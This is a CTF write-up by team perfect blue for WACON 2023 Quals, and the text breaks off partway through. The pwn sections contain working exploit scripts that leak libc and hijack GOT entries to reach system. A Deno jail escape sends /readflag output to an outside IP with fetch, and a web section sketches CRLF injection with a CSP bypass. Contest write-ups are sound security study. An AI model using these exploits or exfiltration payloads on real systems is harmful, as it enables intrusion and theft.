# WACON 2023 Quals **By perfect blue** * 한국어 참가자 한 명에 외국인 세 명입니다. 한국인이 푼 문제는 한국어로 설명 적어두겠습니다. ## Pwn - flash-memory Find CRC32 collision to overlap virtual address allocation ```c= #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <pthread.h> unsigned int checksum(unsigned int seed) { unsigned int ret = 0xffffffff; unsigned char *ptr = (unsigned char *) &seed; for (int i = 0; i < 4; i++) { ret = ret ^ ptr[i]; for (int j = 0; j < 8; j++) { unsigned int v2 = 0; if (ret & 1) { v2 = 0xEDB88320; } ret = v2 ^ (ret >> 1); } } return ~ret; } typedef struct { unsigned int target; unsigned int start; unsigned int end; } SearchData; void *search(void *arg) { SearchData *data = (SearchData *) arg; for (unsigned int brute = data->start; brute <= data->end; brute++) { if (checksum(brute) == data->target) { printf("Found: %u\n", brute); return NULL; } } return NULL; } int main(int argc, char *argv[]) { if (argc < 2) { fprintf(stderr, "Usage: %s <number>\n", argv[0]); return 1; } char *endptr; unsigned int target = strtoul(argv[1], &endptr, 0); if (*endptr != '\0') { fprintf(stderr, "Invalid characters found: %s\n", endptr); return 1; } const int num_threads = 8; // Set this according to your CPU cores pthread_t threads[num_threads]; SearchData data[num_threads]; unsigned int range = 0xFFFFFFFF / num_threads; for (int i = 0; i < num_threads; i++) { data[i].target = target; data[i].start = i * range; data[i].end = (i + 1) * range - 1; pthread_create(&threads[i], NULL, search, &data[i]); } for (int i = 0; i < num_threads; i++) { pthread_join(threads[i], NULL); } return 0; } ``` ```python= from pwn import * def allocate_memory(priv_key, size): r.sendlineafter(":> ", "2") r.sendlineafter(":> ", priv_key) r.sendlineafter(":> ", str(size)) def get_collision(value): cmd = "./collide %d" % value print(cmd) r = process(cmd.split()) r.recvuntil("Found: ") v = int(r.recvline()) r.close() return v def read_memory(index): r.sendlineafter(":> ", "3") r.sendlineafter(":> ", str(index)) def write_memory(index, data): r.sendlineafter(":> ", "4") r.sendlineafter(":> ", str(index)) r.send(data) # r = process("./app") r = remote("58.229.185.61", 10002) data = r.recvuntil("======================================").replace("======================================", "").strip().split("\n") virt_addrs = [] for i in data: virt_addrs.append(int(i.split(" : ")[1], 16)) print(hex(virt_addrs[-1])) collision = get_collision(virt_addrs[0] >> 12) print(hex(collision)) allocate_memory(p32(collision), 0x88) read_memory(0) data = r.recv(0x38) print("Dump") for i in range(0, 0x38, 8): print(hex(u64(data[i:i+8]))) libc_base = u64(data[0x18:0x20]) - 0x62200 print("Libc base", hex(libc_base)) system = libc_base + 0x50d60 # 0x30 is strlen write_memory(0x30, p64(system)) r.sendlineafter(":> ", "1") r.sendlineafter(":> ", "2") r.sendlineafter(":> ", "cat flag") r.sendlineafter(":> ", "4") r.interactive() ``` ## Pwn - dumb-contract ```python= from pwn import * import binascii import ctypes # Push inputData[offset}] def pushInput(offset): return "\x10" + p64(offset) def halt(): return "\x20" def add(): return "\x21" def mult(): return "\x22" def sub(): return "\x23" def div(): return "\x24" def lshift(): return "\x25" def rshift(): return "\x26" # Push code[offset] def pushCode(offset): return "\x30" + p64(offset) def dup(): return "\x31" # Memory[PopA] = PopB def storeMemory(): return "\x40" # Push Memory[PopA] def loadMemory(): return "\x41" def jmp(offset): return "\x50" + p64(offset) def jz(offset): return "\x51" + p64(offset) def jnz(offset): return "\x52" + p64(offset) def jg(offset): return "\x53" + p64(offset) def jge(offset): return "\x54" + p64(offset) def jl(offset): return "\x55" + p64(offset) def jle(offset): return "\x56" + p64(offset) # Stack => seed, new size def resizeData(): return "\x60" # Stack => seed, offset, data def writeData(): return "\x61" # Stack => seed, offset def readData(): return "\x62" # Push SHA256(memory[offset:offset+size]) # Stack => offset, size def hashMemory(): return "\x70" # Stack => contract address, input address, input size, output address, gas limit def call(): return "\x81" # Output value from stack def out(): return "\x83" def load_code(data): r.sendlineafter("5. Exit","1") r.sendlineafter(":", binascii.hexlify(data)) r.recvuntil("Loaded code at address: ") addr = int(r.recvline().rstrip(),16) log.info("address: "+hex(addr)) return addr r = remote("58.229.185.49", "13337") pause() writer = "" exception_trigger = "" exception_trigger += pushInput(0) exception_trigger += jnz(57) # absolute offset exception_trigger += pushCode(0x38/8) exception_trigger += pushCode(0) exception_trigger += resizeData() exception_trigger += pushCode(0x0) exception_trigger += pushCode(0) exception_trigger += resizeData() exception_trigger += halt() print(len(exception_trigger)) for i in range(1,3): exception_trigger += pushCode(0x2) exception_trigger += pushCode(i) exception_trigger += resizeData() # set up overlayed tree entry # uncomment for debugging # exception_trigger += pushCode(0xdeadbeef) # exception_trigger += pushCode(0x28 / 8) # exception_trigger += pushCode(0) # # exception_trigger += writeData() # exception_trigger += pushCode(0x11234455667788) # size exception_trigger += pushCode(0x30/ 8) exception_trigger += pushCode(0) # exception_trigger += writeData() # # offset 0x28 - addr # offset 0x30 - size # read out pointer at offset 8 exception_trigger += pushCode(0x8 / 8) # offset exception_trigger += pushCode(0) # seed exception_trigger += readData() # read out pointer is at the top of the stack exception_trigger += pushCode(0x28/8) # offset exception_trigger += pushCode(0) # seed exception_trigger += writeData() # # use victim object for arbitrary read # # stack ptr is at offset 8 # exception_trigger += pushCode(0x8 / 8) # offset # exception_trigger += pushCode(1) # seed # exception_trigger += readData() # # stack ptr is at the top of the stack # exception_trigger += pushCode(0x28/8) # offset # exception_trigger += pushCode(0) # seed # exception_trigger += writeData() # then read libc leak at offset 0x48 exception_trigger += pushCode(0x48 / 8) # offset exception_trigger += pushCode(1) # seed exception_trigger += readData() # TODO: adjust libc leak exception_trigger += pushCode(ctypes.c_uint64(-0x29d90).value) exception_trigger += add() # exception_trigger += dup() # libc base # # then read PIE leak at offset 0x58 exception_trigger += pushCode(0x58 / 8) # offset exception_trigger += pushCode(1) # seed exception_trigger += readData() # offset 0x50040 gives pc control # TODO: adjust pie base exception_trigger += pushCode(ctypes.c_uint64(-0x28020).value) # exception_trigger += pushCode(0xf000000000000000) exception_trigger += add() exception_trigger += pushCode(0x0000000000050298) # realloc @ got exception_trigger += add() exception_trigger += pushCode(0x28/8) # offset exception_trigger += pushCode(0) # seed exception_trigger += writeData() # exception_trigger += pushCode(0xc0ffee) # exception_trigger += pushCode(0) # exception_trigger += pushCode(2) # seed of victim rbtree entry # exception_trigger += writeData() # # pop till libc addr #exception_trigger += out() # exception_trigger += pushCode(0xf000000000000000) exception_trigger += pushCode(0x50d60) # system exception_trigger += add() #exception_trigger += pushCode(0xfeedfeed) exception_trigger += pushCode(0) exception_trigger += pushCode(1) # seed of victim rbtree entry exception_trigger += writeData() # # setup cmd for system exception_trigger += pushCode(0x0068732f6e69622f) exception_trigger += pushCode(0) exception_trigger += pushCode(2) # seed exception_trigger += writeData() # trigger realloc exception_trigger += pushCode(0x7) exception_trigger += pushCode(2) exception_trigger += resizeData() exception_trigger += halt() #pause() exception_trigger_addr = load_code(exception_trigger) writer += pushCode(0) writer += pushCode(0) writer += storeMemory() writer += pushCode(391 - 2) # child gas writer += pushCode(0) writer += pushCode(8) writer += pushCode(0) writer += pushCode(exception_trigger_addr) writer += call() writer += pushCode(1) writer += pushCode(0) writer += storeMemory() writer += pushCode(0xffffffff) # child gas writer += pushCode(0) writer += pushCode(8) writer += pushCode(0) writer += pushCode(exception_trigger_addr) writer += call() writer += halt() # 82233 exception trigger writer_addr = load_code(writer) txheader = p64(writer_addr) + p64(0xffffffff) # txheader = p64(exception_trigger_addr) + p64(0xffffffff) r.sendline("2") # r.sendline("4") r.sendlineafter("Give me input bytes in hex:",binascii.hexlify(txheader)) r.interactive() ``` ## Pwn - sorry The first binary allows people to just read the flag. The binary runs a custom VM. We can leak libc and exploit it easily. ```python= from pwn import * import os """ 0 -> 34643 - set_register(a1, a2) 1 -> 34651 - get_register(a1) 2 -> 34657 - reg(a1) + reg(a2) 3 -> 34672 - set_reg(0, reg(a1) + reg(a2)) 4 -> 34691 - reg(a1) - reg(a2) 5 -> 34706 - set_reg(0, reg(a1) - reg(a2)) 6 -> 34725 - reg(a1) * reg(a2) 7 -> 34740 - set_reg(0, reg(a1) * reg(a2)) 8 -> 34759 - get_mem(get_reg(a1)) 9 -> 34770 - get_mem(a1) 10 -> 34776 - set_reg(0, get_mem(get_reg(a1)) 11 -> 34791 - set_reg(0, get_mem(a1)) 12 -> 34803 - set_mem(a1, a2) 13 -> 34811 - set_mem(a1, get_reg(a2)) 14 -> 34824 - set_mem(get_reg(a1), get_reg(a2)) 15 -> 34840 - syscall 16 -> 34845 - set_reg(a1, get_reg(a2)) 17 -> 34858 - set_mem(get_reg(a1), a2) """ def get_regs(p): regs = [] for i in range(16): regs.append(int(p.recvline().strip().decode('utf-8').split()[-1])) return regs SET = 0 GET = 1 ADD = 3 SUB = 5 MUL = 7 LOAD_REG = 10 LOAD_IMM = 11 STORE_IMM_IMM = 12 STORE_IMM_REG = 13 STORE_REG_REG = 14 SYSCALL = 15 MOVE = 16 STORE_REG_IMM = 17 def mul_const(i, c): return ( [SET, 1, c] + [MUL, 1, i] + [MOV, i, 0] ) code = [] # leak heap code += [LOAD_IMM, 2, 0] code += [MOVE, 1, 0] code += [SET, 0, 1] code += [SYSCALL, 0, 0] # load offset for lib leak code += [SET, 1, 1] code += [SET, 0, 2] code += [SYSCALL, 0, 0] # leak lib code += [LOAD_REG, 1, 0] code += [MOVE, 1, 0] code += [SET, 0, 1] code += [SYSCALL, 0, 0] # read offset for heap write code += [SET, 1, 2] code += [SET, 0, 2] code += [SYSCALL, 0, 0] # read value for heap write code += [SET, 1, 3] code += [SET, 0, 2] code += [SYSCALL, 0, 0] # debug check # code += [SET, 0, 1] # code += [SYSCALL, 0, 0] # do heap write code += [STORE_REG_REG, 2, 3] # trigger code += [SYSCALL, 0, 0] p = remote("58.229.185.61", 10001) p.recvline() code = bytes(code) p.send(code) heap_leak = get_regs(p)[1] heap_leak = heap_leak * 2 + 1 heap_leak = heap_leak * 2 + 2 heap_leak += 0x10 print(hex(heap_leak)) p.send(str((0x2aa0//8) * 2 + 1).encode() + b"\n") lib_leak = get_regs(p)[1] lib_leak = lib_leak * 2 + 1 lib_leak = lib_leak * 2 + 2 print(hex(lib_leak)) target = lib_leak + 0x1290 p.send(str(((0x2aa0 + 0x18)//8) * 2 + 1).encode() + b"\n") p.send(str(target * 2 + 1).encode() + b"\n") p.interactive() ``` ## Pwn - heaphp ```php= <?php function str_repeat($c, $length) { $ret = ""; for ($i = 0; $i < $length; $i++) { $ret .= $c; } return $ret; } // Manually implement str_pad without using the built-in function function str_pad($input, $pad_length, $pad_string, $pad_type) { $diff = $pad_length - strlen($input); $pad = ''; for ($i = 0; $i < $diff; $i++) { $pad .= $pad_string; } if ($pad_type == STR_PAD_LEFT) { return $pad . $input; } else if ($pad_type == STR_PAD_RIGHT) { return $input . $pad; } else { return $pad . $input . $pad; // STR_PAD_BOTH is not perfectly handled, but this is a simple approximation } } // Calculate strlen without using the built-in function function strlen($str) { $length = 0; while (isset($str[$length])) { $length++; } return $length; } function decToHex($dec) { $hexDigits = "0123456789abcdef"; $hex = ""; do { $remainder = $dec % 16; $hex = $hexDigits[$remainder] . $hex; $dec = ($dec - $remainder) / 16; } while ($dec > 0); return $hex; } function hexdump($data) { $offset = 0; $length = 0; // Manually calculate the length of the string for ($i = 0; isset($data[$i]); $i++) { $length++; } while ($offset < $length) { // Print the offset in the left-most column $offsetStr = decToHex($offset); echo str_pad($offsetStr, 8, '0', STR_PAD_LEFT) . " "; // Print 16 bytes as hexadecimal numbers for ($i = 0; $i < 16; $i++) { if ($i + $offset < $length) { $hexStr = decToHex(ord($data[$i + $offset])); echo str_pad($hexStr, 2, '0', STR_PAD_LEFT) . " "; } else { // If there's no data, fill in spaces echo " "; } } echo " "; // A single space as a separator between hex and ASCII data // Print ASCII characters for ($i = 0; $i < 16; $i++) { if ($i + $offset < $length) { $char = $data[$i + $offset]; if (ord($char) >= 32 && ord($char) <= 126) { // If the character is printable echo $char; } else { // If the character is not printable echo "."; } } else { // If there's no data, break the loop break; } } echo "\n"; // New line $offset += 16; // Move to the next 16-byte chunk } } function strToQwordLong($str, $off) { $qword = 0; for ($i = 0; $i < 8; $i++) { $byte = ord($str[$off + $i]); $qword |= $byte << (8 * $i); } return $qword; } function chr($code) { // Reduce the value to fit within an 8-bit byte $code = $code % 256; // Manually create ASCII map as a string using \x escape sequences $asciiMap = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" . "\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F" . "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2A\x2B\x2C\x2D\x2E\x2F" . "\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3A\x3B\x3C\x3D\x3E\x3F" . "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F" . "\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x5B\x5C\x5D\x5E\x5F" . "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F" . "\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7A\x7B\x7C\x7D\x7E\x7F" . "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F" . "\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F" . "\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF" . "\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF" . "\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF" . "\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF" . "\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF" . "\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF"; // Locate the character by its ASCII code return $asciiMap[$code]; } for ($i = 0; $i < 16; $i++) { add_note("A", "/bin/sh"); // 0 } $idx = add_note(str_repeat("A", 30), str_repeat("B", 48)); edit_note($idx, str_repeat("C", 48)); $idx3 = add_note("A", "A"); // 4 $idx2 = add_note("A", "A"); // 5 should be overlapped with 4's content $heap = view_note($idx); hexdump($heap); $heap = strToQwordLong($heap, 0x28); echo $heap; $libc_off = $heap + 0x238df38; echo "\n"; echo $libc_off; echo "\n"; echo $heaphp; // Fix freelist delete_note($idx3); delete_note($idx2); view_note($idx); edit_note($idx, "AAAAAAA"); edit_note($idx, "AAAAAA"); edit_note($idx, "AAAAA"); edit_note($idx, "AAAA"); edit_note($idx, "AAA"); edit_note($idx, "AA"); edit_note($idx, "A"); edit_note($idx, "\x00"); $idx2 = add_note("B", "B"); $idx3 = add_note("C", "C"); // Find leak function set_addr($idx, $addr) { $temp = ""; for ($i = 0; $i < 7; $i++) { $temp .= chr(($addr >> ($i * 8)) & 0xff); } edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB" . $temp); edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBB"); edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB"); edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBB"); edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB"); edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB"); edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABB"); edit_note($idx, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x08"); } $heap_base = $heap - 0x30d0 + 0x200000 + 0x3000; for ($i = 0; $i < 0x30; $i++) { $test = $heap_base + $i * 0x1000 + 0x11e0; echo "\n"; echo $test; echo "\n"; set_addr($idx, $test); //while(1) {} $arb_read = view_note($idx2); hexdump($arb_read); if ($arb_read == "\x48\x83\xC4\x28\x4D\x89\xE8\x89") { echo "\nFOUND\n"; break; } } $heaphp = $heap_base + $i*0x1000; $strlen_got = $heaphp + 0x4018; set_addr($idx, $strlen_got); $arb_read = view_note($idx2); $libc = strToQwordLong($arb_read, 0x0) - 0x19d960; $system = $libc + 0x50d60; echo "\nLIBC\n"; echo $libc; echo "\n"; // Arb write $addr = ""; for ($i = 0; $i < 8; $i++) { $addr .= chr(($system >> ($i * 8)) & 0xff); } edit_note($idx2, $addr); echo "Should win"; add_note("cat /flag.txt", "cat /flag.txt") ?> ``` ```python= from pwn import * import sys r = remote("58.229.185.47", 1337) a = open(sys.argv[1], "r").read() r.send(a) r.send("\n-- EOF --\n") r.recvuntil("Should", timeout=1) r.sendline("ls") r.interactive() ``` ## Web - warmup-revenge - You put 0x0d in the header returned for download to get HTML injection. php rejects the content-disposition header cuz it has 0x0d so the downloaded file is now executed as HTML - Bypass CSP by putting a script src to another download file, that has the JS you want to execute ## Web - dino jail ```python= INITIAL_PAYLOAD = """ eval(atob(Deno.args[0]).slice(100)); """ INITIAL_PAYLOAD += ";"*(100 - len(INITIAL_PAYLOAD))+"\n"*10 INITIAL_PAYLOAD += """ const file = Deno.openSync("/dev/ptmx", {read:true, write: true}) const file2 = Deno.openSync("/dev/ptmx", { read: true, write: true }) const file3 = Deno.openSync("/dev/ptmx", { read: true, write: true }) file.write(new TextEncoder().encode("y\\n".repeat(10000))) let deet = new Deno.Command("/readflag").outputSync().stdout fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex()) fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex()) fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex()) fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex()) fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex()) fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex()) fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex()) fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex()) fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex()) fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex()) fetch("http://167.172.99.169/hack?="+btoa(deet)).then((x)=>x.tex()) """ import base64 from pwn import * deet = base64.b64encode(INITIAL_PAYLOAD.encode()) print(deet) r = remote("58.229.185.56", 2323) r.sendlineafter("t: ", deet) r.interactive() ``` ## Web - mosaic ![](https://i.ibb.co/M6FTQZh/image3.png) ![](https://i.ibb.co/xj39CN1/image.png) ![](https://i.ibb.co/8jnLcRC/image2.png) ## Rev - Baby Artist The binary is written with Piet, which is a 2D programming language. The binary checkes some constraints, and each constraint calculation ends with NOT op. Therefore, we fetched every NOT op and then did brute-force byte by byte with trace logs as side-channel. ```python= from pwn import * from string import printable from itertools import product from tqdm import tqdm alph = printable.rstrip() context.log_level = "warning" def check(res): for i in range(len(res)): if res[i] == "action: not": if res[i-3].split(" ")[4] != "0": return i return 100000000000 def checkinput(inp): assert len(inp) == 35 r = process(["./npiet", "-v", "-t", "cropped.png"]) r.sendline(inp.encode()) res = r.recvall() r.kill() res = res.decode().splitlines() return check(res) known = [""] * 35 for ro in range(35): bestval = -1 bestchar = "" bestindex = -1 for i in range(35)[::-1]: if known[i] != "": continue guess = known.copy() for c in alph: guess[i] = c val = checkinput(''.join(e if e else "*" for e in guess)) #print(c, val) if val >= bestval: print(ro, i, "New best", val, c) bestchar = c bestval = val bestindex = i print(bestindex, bestchar) known[bestindex] = bestchar print(''.join(e if e else "*" for e in known)) ``` ## Rev - Adult Artist Every instruction is invertible, so run code backwards and reverse every instruction. ```python= from pwn import * def rotate_left(n, bits): return ((n << bits) | (n >> (32 - bits))) & 0xFFFFFFFF def rotate_right(n, bits): return ((n >> bits) | (n << (32 - bits))) & 0xFFFFFFFF jmp_table = """.text:08049062 jpt_80491FF dd offset loc_8049206, offset loc_804CCD3, offset loc_804D921 .text:08049062 dd offset loc_804E565, offset loc_804F391, offset loc_8050172 ; jump table for switch statement .text:08049062 dd offset loc_8051147, offset loc_80520E4, offset loc_8052F53 .text:08049062 dd offset loc_8053E01, offset loc_8054C34, offset loc_8055A36 .text:08049062 dd offset loc_805680D, offset loc_8057603, offset loc_8058417 .text:08049062 dd offset loc_80592D0, offset loc_805A26C, offset loc_805B1A8 .text:08049062 dd offset loc_805C189, offset loc_805D214, offset loc_805E3E4 .text:08049062 dd offset loc_805F960, offset loc_8061309, offset loc_8062EBF .text:08049062 dd offset loc_8064ABC, offset loc_8066618, offset loc_8068236 .text:08049062 dd offset loc_8069F4F, offset loc_806BDAA, offset loc_806DF5B .text:08049062 dd offset loc_8070050, offset loc_8071F38, offset loc_8073F2C .text:08049062 dd offset loc_8075B49, offset loc_80774F2, offset loc_8078FE6 .text:08049062 dd offset loc_807AD9E, offset loc_807CB59, offset loc_807E805 .text:08049062 dd offset loc_8080549, offset loc_80821A4, offset loc_8083F68 .text:08049062 dd offset loc_8085D9D, offset loc_8087D1A, offset loc_8089BCC .text:08049062 dd offset loc_808B60B, offset loc_808D4D1, offset loc_808FB51 .text:08049062 dd offset loc_8092136, offset loc_8094763, offset loc_8096AA0 .text:08049062 dd offset loc_8098C19, offset loc_809AEBA, offset loc_809D252 .text:08049062 dd offset loc_809F678, offset loc_80A1B4D, offset loc_80A3CE6 .text:08049062 dd offset loc_80A5B61, offset loc_80A7B67, offset loc_80A98CB .text:08049062 dd offset loc_80AB6D0, offset loc_80AD4F1, offset loc_80AF427 .text:08049062 dd offset loc_80B1354, offset loc_80B3388, offset loc_80B5091 .text:08049062 dd offset loc_80B71BB, offset loc_80B93AE, offset loc_80BB646 .text:08049062 dd offset loc_80BD6D5, offset loc_80BF5F3, offset loc_80C145A .text:08049062 dd offset loc_80C306D, offset loc_80C4C18, offset loc_80C6942 .text:08049062 dd offset loc_80C8611, offset loc_80CA20A, offset loc_80CBCF4 .text:08049062 dd offset loc_80CD4B2, offset loc_80CEE78, offset loc_80D0865 .text:08049062 dd offset loc_80D21D7, offset loc_80D3B7D, offset loc_80D5074 .text:08049062 dd offset loc_80D6073, offset loc_80D721D, offset loc_80D841C .text:08049062 dd offset loc_80D95BC, offset loc_80DA6B8, offset loc_80DB6CA .text:08049062 dd offset loc_80DC6FE, offset loc_80DD6A4, offset loc_80DE58B .text:08049062 dd offset loc_80DF456, offset loc_80E02DF, offset loc_80E114C .text:08049062 dd offset loc_80E211C, offset loc_80E30F3, offset loc_80E413A .text:08049062 dd offset loc_80E51A0, offset loc_80E5DEC""".split() dump = open("dump", "r").read().split("\n") binary = open("masterpiece", "r").read() def get_relevant_instructions(start_addr): ret = [] terminate = "jmp 0x80e69f5" start = False i = 0 while i < len(dump): line = dump[i] current_addr = int(line.strip().split()[0][:-1], 16) if current_addr == start_addr: start = True if start: if "vfmaddsub132ps" in line: i += 1 continue if terminate in line: return ret if "jmp" in line: i += 1 continue if "cl, al" in line: assert "al, byte ptr [ecx + 135168024]" in dump[i+1] i += 1 ret.append("lookup al") elif "cl, ah" in line: assert "ah, byte ptr [ecx + 135168024]" in dump[i+1] i += 1 ret.append("lookup ah") else: ret.append("\t".join(line.split("\t")[1:])) i += 1 assert False def solver(instructions, target_value): eax = target_value for ins in instructions[::-1]: if ins == "lookup al": new_al = inverse_lookup[eax & 0xff] eax = (eax ^ (eax & 0xff)) | new_al elif ins == "lookup ah": new_ah = inverse_lookup[(eax >> 0x8) & 0xff] eax = (eax ^ (eax & 0xff00)) | (new_ah << 0x8) elif ins.startswith("sub"): imm = int(ins.split(", ")[1]) eax = (eax + imm) & 0xffffffff elif ins.startswith("add"): imm = int(ins.split(", ")[1]) eax = (eax - imm) & 0xffffffff elif ins.startswith("bswap"): eax = ((eax & 0xff) << 24) | ((eax & 0xff00) << 8) | ((eax & 0xff0000) >> 8) | ((eax & 0xff000000) >> 24) elif ins == "dec\teax": eax = (eax + 1) & 0xffffffff elif ins == "inc\teax": eax = (eax - 1) & 0xffffffff elif ins.startswith("rol"): if ", " not in ins: imm = 1 else: imm = int(ins.split(", ")[1]) eax = rotate_right(eax, imm) elif ins.startswith("ror"): if ", " not in ins: imm = 1 else: imm = int(ins.split(", ")[1]) eax = rotate_left(eax, imm) elif ins.startswith("xor"): imm = int(ins.split(", ")[1]) eax = eax ^ imm elif ins == "not\teax": eax = eax ^ 0xffffffff else: print("Unsupported instruction") print(ins) exit() return eax jmp_locs = [] for i in jmp_table: if i.startswith("loc_"): jmp_locs.append(int(i.replace("loc_", "").replace(",", ""), 16)) print(hex(jmp_locs[-1])) targets = binary[0xa0118:0xa0118+400] targets = [u32(targets[i:i+4]) for i in range(0, len(targets), 4)] lookup_table = binary[0xa0018:0xa0018+256] lookup_table = [u8(lookup_table[i]) for i in range(256)] inverse_lookup = [None]*256 for i in range(256): inverse_lookup[lookup_table[i]] = i solutions = [] for i in range(100): instructions = get_relevant_instructions(jmp_locs[i]) target_value = targets[i] solution = solver(instructions, target_value) solutions.append(solution) sol_string = "" for i in solutions: sol_string += p32(i) with open("sol.bin", "wb") as f: f.write(sol_string) print(solutions) ``` ## Rev - Terrible Flavor 리버싱을 해보면 퍼즐을 푸는 문제이고, 퍼즐은 nxn 격자 형태로 주어지는 것을 알 수 있습니다. 시작점이 주어지며, 해당 시작점으로부터 가로 혹은 세로로 선을 이어나가며 폐곡선을 완성해야 합니다. 또한 격자점마다 숫자가 적혀있는 경우가 있습니다. 이 경우 두 가지 타입(1/2)이 있습니다. 1. 폐곡선의 꼭지점이여야하고, 이 꼭지점에 연결된 두 개의 선의 길이의 합이 적혀있는 숫자여야 함 2. 어떤 선의 중간에 위치해야하고 (꼭지점은 안 됨), 해당 선의 길이가 적혀있는 숫자여야 함 퍼즐 보드는 init_array의 함수 중 하나에서 초기화되며, 총 3개의 보드가 있습니다. 이를 바탕으로 그냥 손으로 풀었습니다. 입력은 폐곡선의 꼭지점을 하나씩 적어서 이어붙이면 됩니다. 11x11 보드의 경우 x나 y가 10인 경우가 있는데 `:` (chr(58))을 사용하면 됩니다. 1. `1011212050554541313212142423333505` 2. `40412122424353507071616373744445757666675756464737362627171606053533232404031312020111` 3. `1012222050524241313525264647575666677776868878799995454353546460:0:39391717282837374:4::6:68585:3:39494838372729191:0:081817070616150504242303` 플래그는 이를 이어붙인 `WACON2023{1011212050554541313212142423333505_40412122424353507071616373744445757666675756464737362627171606053533232404031312020111_1012222050524241313525264647575666677776868878799995454353546460:0:39391717282837374:4::6:68585:3:39494838372729191:0:081817070616150504242303}` 입니다. ## Crypto - PSS 총 2^17개의 케이스가 주어져있기 때문에, `master_seed`를 하나씩 브루트 포스 하면서 2^17개의 케이스 중 1-level node의 값이 `master_seed`로부터 유도된 값과 일치하는지 확인하면 됩니다. ```python= from hashlib import sha256 from tqdm import tqdm import itertools def cascade_hash(msg, cnt, digest_len): assert digest_len <= 32 msg = msg * 10 for _ in range(cnt): msg = sha256(msg).digest() return msg[:digest_len] def seed_to_permutation(seed): permutation = '' msg = seed + b"_shuffle" while len(permutation) < 16: msg = cascade_hash(msg, 777, 32) msg_hex = msg.hex() for c in msg_hex: if c not in permutation: permutation += c return permutation N = 8 merkle_proof_indexes = { 0 : [2,4,8], 1 : [2,4,7], 2 : [2,3,10], 3 : [2,3,9], 4 : [1,6,12], 5 : [1,6,11], 6 : [1,5,14], 7 : [1,5,13] } with open('pss_data', 'rb') as f: data = f.read() clen = 5 * 3 + 1 + 8 print(len(data) >> 17) assert len(data) == (2 ** 17) * clen dics = [dict(), dict()] for i in range(2 ** 17): chunk = data[clen * i:clen * (i + 1)] if chunk[15] < 4: dics[1][chunk[:5]] = i else: dics[0][chunk[:5]] = i for seed in tqdm(itertools.product(range(256), repeat=5), total=256**5): seed = bytes(seed) seed_len = 5 h = cascade_hash(seed, 123, 2 * 5) idx = None if h[:5] in dics[0]: idx = dics[0][h[:5]] elif h[5:] in dics[1]: idx = dics[1][h[5:]] if idx is None: continue chunk = data[clen * idx:clen * (idx + 1)] seed_tree = [None] * (2*N - 1) seed_tree[0] = seed for i in range(N-1): h = cascade_hash(seed_tree[i], 123, 2 * seed_len) seed_tree[2*i+1], seed_tree[2*i+2] = h[:seed_len], h[seed_len:] proof_idxs = merkle_proof_indexes[chunk[15]] to_check = seed_tree[proof_idxs[0]] + \ seed_tree[proof_idxs[1]] + \ seed_tree[proof_idxs[2]] if to_check == chunk[:15]: master_seed = seed perm = chunk[-8:].hex() break print(master_seed) print(perm) def recover(master_seed, perm): seed_len = 5 seed_tree = [None] * (2*N - 1) seed_tree[0] = master_seed for i in range(N-1): h = cascade_hash(seed_tree[i], 123, 2 * seed_len) seed_tree[2*i+1], seed_tree[2*i+2] = h[:seed_len], h[seed_len:] secret_list = list(perm) for i in reversed(range(N)): permutation = seed_to_permutation(seed_tree[i + N - 1]) secret_list = [permutation[int(x, 16)] for x in secret_list] permutated_secret = ''.join(secret_list) return permutated_secret def verify(master_seed, secret): seed_len = 5 seed_tree = [None] * (2*N - 1) seed_tree[0] = master_seed for i in range(N-1): h = cascade_hash(seed_tree[i], 123, 2 * seed_len) seed_tree[2*i+1], seed_tree[2*i+2] = h[:seed_len], h[seed_len:] secret_list = list(secret) # ex) ['0','1','2','3',...] for i in range(N): # i-th party has a permutation derived from seed_tree[i+N-1] permutation = 